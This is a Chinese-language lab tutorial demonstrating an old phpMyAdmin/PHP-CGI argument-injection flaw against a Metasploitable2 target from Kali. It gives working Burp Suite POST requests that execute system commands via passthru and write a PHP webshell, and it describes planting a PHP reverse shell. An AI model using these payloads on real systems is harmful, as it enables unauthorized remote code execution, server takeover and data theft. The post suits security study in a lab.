专业编程基础技术教程

网站首页 > 基础教程 正文

介绍一个早期phpMyAdmin软件的漏洞

ccvgpt 2024-11-23 11:52:21 基础教程 1 ℃

phpMyAdmin简介

phpMyAdmin是安装在web服务器中的web接口,专门用来管理MySQL数据库。对于早期版本,安装后若是没有做安全配置,对敏感路径进行删除,则有可能留下安全隐患,其中最明显的为setup。

今天要演示的phpMyAdmin漏洞就是通过在URL地址编辑或者定制发送的指令,使其执行一个PHP页面。在安装比较旧版本phpMyAdmin的时候都采用默认配置,都会存在这个漏洞。

介绍一个早期phpMyAdmin软件的漏洞

环境准备

靶机:Metasploitable2

攻击机:Kali

上面两个的安装我就不展开了,网上都有详细的教程,而且也非常简单。

漏洞判断

正常流程其实是扫描到目标机器安装了phpMyAdmin,然后我们确认其版本,并确认是否存在预期漏洞。我们准备的靶机Metasploitable2就是安装了这个软件并存在这个漏洞的,这里不演示前期扫描的动作了,感兴趣可以翻一下我以前发的服务扫描的帖子。

判断靶机中的phpMyAdmin是存在漏洞的依据,主要是在浏览器上访问目标机器的这个地址:

192.168.188.129是靶机ip,只要访问这个地址成功,并显示这个页面,就说明这个phpMyAdmin有我们预期的漏洞。

漏洞-初步使用

这个漏洞的使用方式其实很简单,在kali打开burpsuite,切换到Repeater模块,然后将攻击目标改成靶机的ip和phpMyAdmin的端口:

然后在request中输入以下请求内容:

POST http://192.168.1.175/phpMyAdmin/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input HTTP/1.1
Host:192.168.1.103
Content-Length: 35

<?php
passthru('pwd');
die();
?>

稍微做以下解释,地址后面用?拼接一长串的作用是对PHP的主配置文件.ini进行修改;allow_url_include是让请求能够对服务器上的其它文件进行引用;auto_prepend_file表示附加文件;passthru('pwd')作为参数的字符串就是系统操作指令,在linux可以说是terminal命令;die()表示执行到这里就结束,如果不加die(),会返回很多没用的代码。

点击左上角的send按钮,就能将请求发送给靶机,靶机会将请求中第6行passthru()方法里的命令执行结果返回给客户端:

能执行系统指令,当然就可以向靶机写入文件,而能写入就能做很多操作了,比如提权、植入病毒、盗密码等等。

漏洞-写入webshell

写入webshell,直接用下面的内容作为请求:

POST http://192.168.1.175/phpMyAdmin/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input HTTP/1.1
Host:192.168.1.103
Content-Length: 100


<?php
passthru('echo "<?php \$cmd = \$_GET["cmd"];system(\$cmd);?>" > /var/www/a.php');
die();
?>

执行后收到的报文中看不出有没有成功:

可以在执行一些ls查看是否写入成功:

还可以检查以下文件的内容是不是我们写入的:

确认无误后,就可以使用这个webshell了,直接用浏览器访问,并将需要执行的命令通过地址拼接传入,例如调用cmd执行命令:

漏洞-传入一个PHP反弹shell

先解释一下什么是php反弹shell,就是植入这个php反弹shell后,被植入的机器会主动连接指定机器的指定端口,这样这台被访问的机器就能获取发起连接请求机器的控制权了。

kali里面有现成的php反弹shell,位置在/usr/share/webshells/php:

对php文件中的目标机器和端口进行修改:

在填入ip这个机器开启指定端口的监听:

将修改过后的内容都通过请求发送给目标主机:

不会有请求结果返回,但是在监听的窗口可以看到收到了连接,拿到了shell:

可以看到在这个连接中执行命令是有效的。

Tags:

最近发表
标签列表